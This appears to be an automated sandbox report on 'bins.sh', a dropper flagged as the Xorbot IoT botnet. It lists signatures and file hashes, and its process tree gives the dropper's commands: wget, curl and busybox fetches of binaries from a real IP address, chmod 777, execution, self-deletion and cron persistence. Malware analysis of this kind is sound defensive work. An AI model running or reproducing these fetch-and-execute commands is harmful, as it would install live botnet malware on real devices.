Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

1

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    160s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    27/01/2025, 01:37

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250127-b1tbhsvncj
  • SHA256 0b082ffe92c37e285f67475e9bf08aa99cdf4530fbeafc9a5d447e91208460b0
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1636) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:656
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:658
      • /usr/bin/wget
        wget http://94.154.35.94/bins/CIMqLn95qfGaaRK6245zjq8c5CFzSqiNcf
        2⤵
        • Writes file to tmp directory
        PID:660
      • /usr/bin/curl
        curl -O http://94.154.35.94/bins/CIMqLn95qfGaaRK6245zjq8c5CFzSqiNcf
        2⤵
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:685
      • /bin/busybox
        /bin/busybox wget http://94.154.35.94/bins/CIMqLn95qfGaaRK6245zjq8c5CFzSqiNcf
        2⤵
        • Writes file to tmp directory
        PID:690
      • /bin/chmod
        chmod 777 CIMqLn95qfGaaRK6245zjq8c5CFzSqiNcf
        2⤵
        • File and Directory Permissions Modification
        PID:696
      • /tmp/CIMqLn95qfGaaRK6245zjq8c5CFzSqiNcf
        ./CIMqLn95qfGaaRK6245zjq8c5CFzSqiNcf
        2⤵
          PID:698
        • /bin/rm
          rm CIMqLn95qfGaaRK6245zjq8c5CFzSqiNcf
          2⤵
            PID:701
          • /usr/bin/wget
            wget http://94.154.35.94/bins/7EoYtbv4qabhd6C8XkwD7IapRGyVj7XFk2
            2⤵
            • Writes file to tmp directory
            PID:702
          • /usr/bin/curl
            curl -O http://94.154.35.94/bins/7EoYtbv4qabhd6C8XkwD7IapRGyVj7XFk2
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:715
          • /bin/busybox
            /bin/busybox wget http://94.154.35.94/bins/7EoYtbv4qabhd6C8XkwD7IapRGyVj7XFk2
            2⤵
            • Writes file to tmp directory
            PID:728
          • /bin/chmod
            chmod 777 7EoYtbv4qabhd6C8XkwD7IapRGyVj7XFk2
            2⤵
            • File and Directory Permissions Modification
            PID:742
          • /tmp/7EoYtbv4qabhd6C8XkwD7IapRGyVj7XFk2
            ./7EoYtbv4qabhd6C8XkwD7IapRGyVj7XFk2
            2⤵
              PID:743
            • /bin/rm
              rm 7EoYtbv4qabhd6C8XkwD7IapRGyVj7XFk2
              2⤵
                PID:745
              • /usr/bin/wget
                wget http://94.154.35.94/bins/TdVTDXZtHcamdT0waBaqgoNh3rsBNlbKNg
                2⤵
                • Writes file to tmp directory
                PID:746
              • /usr/bin/curl
                curl -O http://94.154.35.94/bins/TdVTDXZtHcamdT0waBaqgoNh3rsBNlbKNg
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:752
              • /bin/busybox
                /bin/busybox wget http://94.154.35.94/bins/TdVTDXZtHcamdT0waBaqgoNh3rsBNlbKNg
                2⤵
                • Writes file to tmp directory
                PID:772
              • /bin/chmod
                chmod 777 TdVTDXZtHcamdT0waBaqgoNh3rsBNlbKNg
                2⤵
                • File and Directory Permissions Modification
                PID:779
              • /tmp/TdVTDXZtHcamdT0waBaqgoNh3rsBNlbKNg
                ./TdVTDXZtHcamdT0waBaqgoNh3rsBNlbKNg
                2⤵
                  PID:780
                • /bin/rm
                  rm TdVTDXZtHcamdT0waBaqgoNh3rsBNlbKNg
                  2⤵
                    PID:782
                  • /usr/bin/wget
                    wget http://94.154.35.94/bins/MwKtImzw1IrKoZL4K6Ux69KXANGeCfeNu2
                    2⤵
                    • Writes file to tmp directory
                    PID:783
                  • /usr/bin/curl
                    curl -O http://94.154.35.94/bins/MwKtImzw1IrKoZL4K6Ux69KXANGeCfeNu2
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:784
                  • /bin/busybox
                    /bin/busybox wget http://94.154.35.94/bins/MwKtImzw1IrKoZL4K6Ux69KXANGeCfeNu2
                    2⤵
                    • Writes file to tmp directory
                    PID:785
                  • /bin/chmod
                    chmod 777 MwKtImzw1IrKoZL4K6Ux69KXANGeCfeNu2
                    2⤵
                    • File and Directory Permissions Modification
                    PID:786
                  • /tmp/MwKtImzw1IrKoZL4K6Ux69KXANGeCfeNu2
                    ./MwKtImzw1IrKoZL4K6Ux69KXANGeCfeNu2
                    2⤵
                    • Renames itself
                    • Reads runtime system information
                    PID:787
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:789
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:790
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:791
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:792
                        • /bin/rm
                          rm MwKtImzw1IrKoZL4K6Ux69KXANGeCfeNu2
                          2⤵
                            PID:795
                          • /usr/bin/wget
                            wget http://94.154.35.94/bins/GhCOboELKLYO7W7oe1HLSUgY2c5DwavAZm
                            2⤵
                              PID:799

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                7EoYtbv4qabhd6C8XkwD7IapRGyVj7XFk2
                                • Path /tmp/7EoYtbv4qabhd6C8XkwD7IapRGyVj7XFk2
                                • Size 98KB
                                • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                CIMqLn95qfGaaRK6245zjq8c5CFzSqiNcf
                                • Path /tmp/CIMqLn95qfGaaRK6245zjq8c5CFzSqiNcf
                                • Size 99KB
                                • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                MwKtImzw1IrKoZL4K6Ux69KXANGeCfeNu2
                                • Path /tmp/MwKtImzw1IrKoZL4K6Ux69KXANGeCfeNu2
                                • Size 141KB
                                • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                TdVTDXZtHcamdT0waBaqgoNh3rsBNlbKNg
                                • Path /tmp/TdVTDXZtHcamdT0waBaqgoNh3rsBNlbKNg
                                • Size 112KB
                                • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                tmp.Z36LVx
                                • Path /var/spool/cron/crontabs/tmp.Z36LVx
                                • Size 210B
                                • SHA256 2d26668eb5c6931ec58140060fde6541a0cab5e6808fddc684fdb0820199bd72
                                • MD5 SHA1 SHA512
                                Submit Download